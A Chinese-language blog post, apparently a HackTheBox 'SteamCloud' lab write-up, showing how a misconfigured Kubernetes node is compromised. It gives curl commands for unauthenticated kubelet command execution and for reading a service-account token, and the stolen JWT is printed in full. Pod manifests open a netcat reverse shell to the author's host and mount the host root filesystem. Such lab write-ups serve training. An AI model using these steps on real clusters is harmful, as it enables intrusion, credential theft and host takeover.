HackTheBox | SteamCloud

最新推荐文章于 2024-02-04 17:45:08 发布

xxL7-

最新推荐文章于 2024-02-04 17:45:08 发布

阅读量235

点赞数

分类专栏： htb记录文章标签： kubernetes 网络安全

本文链接：https://blog.csdn.net/Purpose_7/article/details/128690556

版权

htb记录专栏收录该内容

16 篇文章 0 订阅

订阅专栏

HackTheBox | SteamCloud

nmap扫描，开放22、8443

访问8443端口，提示forbidden

尝试全端口扫描，开放22、2379、2380、8443、10249、10250、10256端口

转向etcd这个服务，简单查了一下，可以理解为分布式数据库，并且特征端口也符合

在文章https://blog.pentesteracademy.com/premium-lab-etcd-keys-api-information-gathering-a8de57cbdc94提到了msf中针对etcd的探测模块

但是我的MSF出问题了

此外，在博客《The Security Footgun in etcd》https://elweb.co/the-security-footgun-in-etcd/提到了etcd的未授权访问导致的信息泄露问题，访问目标端口的v2/keys/?recursive=true，能够获取到一些键值对。但是在目标靶机中失败

继续看其他的端口，10250是Kubelet的API端口，在找Kubelet的资料的时候，发现etcd是集群中的一部分，所以这个目标应该是Kubernetes

《kubernetes集群渗透测试》https://www.freebuf.com/vuls/196993.html

在kubernetes中，Master节点中的kube-apiserver可能存在未授权访问问题，比如在上述文章中提到了pods路径可以获取到环境变量、运行的容器信息、命名空间等信息。在目标靶机中也成功获取到了这些信息。

此外，还有services、replicationcontrollers等路径。

利用pods路径，在当前集群中获取到以下pod

pod name: storage-provisioner			namespace: kube-system	container-name: storage-provisioner
pod name: kube-proxy-7fmzp				namespace: kube-system	container-name: kube-proxy
pod name: coredns-78fcd69978-vl4w7		namespace: kube-system	container-name: coredns
pod name: nginx							namespace: default		container-name: nginx
pod name: etcd-steamcloud				namespace: kube-system	container-name: etcd
pod name: kube-apiserver-steamcloud		namespace: kube-system	container-name: kube-apiserver
pod name: kube-controller-manager-steamcloud		namespace: kube-system	container-name: kube-controller-manager
pod name: kube-scheduler-steamcloud		namespace: kube-system	container-name: kube-scheduler

按照https://github.com/kayrus/kubelet-exploit提到的方法，对pod挨个尝试，最终在nginx中成功命令执行

curl -k -XPOST "https://10.10.11.133:10250/run/default/nginx/nginx?" -d "cmd=ls -la /"

在当前容器的/root目录下找到user.txt

根据文章《Kubelet Exploit》https://cloudsecdocs.com/container_security/offensive/attacks/techniques/kubelet_exploit/#get-access-to-the-api-server进行攻击

在env中没有看到有效信息

获取ServiceAccount的Token

curl -k -XPOST "https://10.10.11.133:10250/run/default/nginx/nginx?" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

按照博客中的内容，就可以对目标集群的master节点进行访问了，但是当前靶机没有开放6443端口，尝试之前获取到的8443端口

curl -ks -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Ik5wZXhscTlvUkNYTFctYmlCc2hhNGIxOWI5ZWY5ZWVLWWx4Zi1yaVkwLTgifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzA1MjI5ODIyLCJpYXQiOjE2NzM2OTM4MjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjViNThkNzc5LWNhNGMtNGNhNi1iYzYwLWZlMjhmNWIyOTI2YSJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6ImE0NDUzYmE2LWE1NzQtNDE5My04NWFjLTQ2Y2I5NjAyMDBiYSJ9LCJ3YXJuYWZ0ZXIiOjE2NzM2OTc0Mjl9LCJuYmYiOjE2NzM2OTM4MjIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.G47YNKozzqCepS8W8n7e-IKcOAFzqI2Z5l8ifqnHhZUxpiB3W3cq8tY7Q_RXUrDCiuP72xOWMqy_44VIGprfu64irmYgKyg-7nbtbo5Nql_1t9X_w9M8BE91tExLhdJmnHjyl96Uz8A0rrUmcmBotJvW0Sl_MoRwrREcjuHpW6XvRwg9ZmW9iJc9Lt3cdWhnRcDdYXkzPMQ2DT3YVxdFdKxI3WfaXb7HhLmanCDb9z06pNpe1jBQf0df6xqJBcEr9nJnmzx0hoYyQ_86hWkd3XF0rHamsecSnTAfHdTZpE4SmakBeQV4WGFTl3zHtnk83cS4wNhjetNtpcco3GaiOg" https://10.10.11.133:8443/api/v1/namespaces/default/secrets

提示用户没有权限

下载kubectl操作，https://storage.googleapis.com/kubernetes-release/release/v1.26.0/bin/windows/amd64/kubectl.exe

获取所有pod节点，存在资源对象nginx

get all也只能获取到nginx这个pod的信息

对获取到的token进行鉴权查询

在默认的namespace里，可以进行get|create|list操作，尝试直接部署一个busybox的反弹shell，发现没办法pull镜像

apiVersion: v1
kind: Pod
metadata:
  name: newpod
  namespace: default 
spec:
  containers:
    - name: busybox
      image: busybox:1.29.2
      command: ["/bin/sh"]
      args: ["-c", "nc 10.10.16.7 1234 -e /bin/sh"]
      volumeMounts:
      - name: host
        mountPath: /host
  volumes:
    - name: host
      hostPath:
        # directory location on host
        path: /
      # type: Directory

使用原本的nginx镜像进行反弹shell。在最开始访问10250端口的pods路径的时候，可以获取到nginx镜像为nginx:1.14.2，但是部署也报了error。

参考wp，进行文件系统挂载，感觉和docker逃逸中的方法有点类似。将宿主机的/根目录挂载到/host路径下，容器创建成功。

apiVersion: v1
kind: Pod
metadata:
  name: newpod2
  namespace: default 
spec:
  containers:
    - name: nginx
      image: nginx:1.14.2
      volumeMounts:
      - name: host
        mountPath: /host
  volumes:
    - name: host
      hostPath:
        # directory location on host
        path: /
      # type: Directory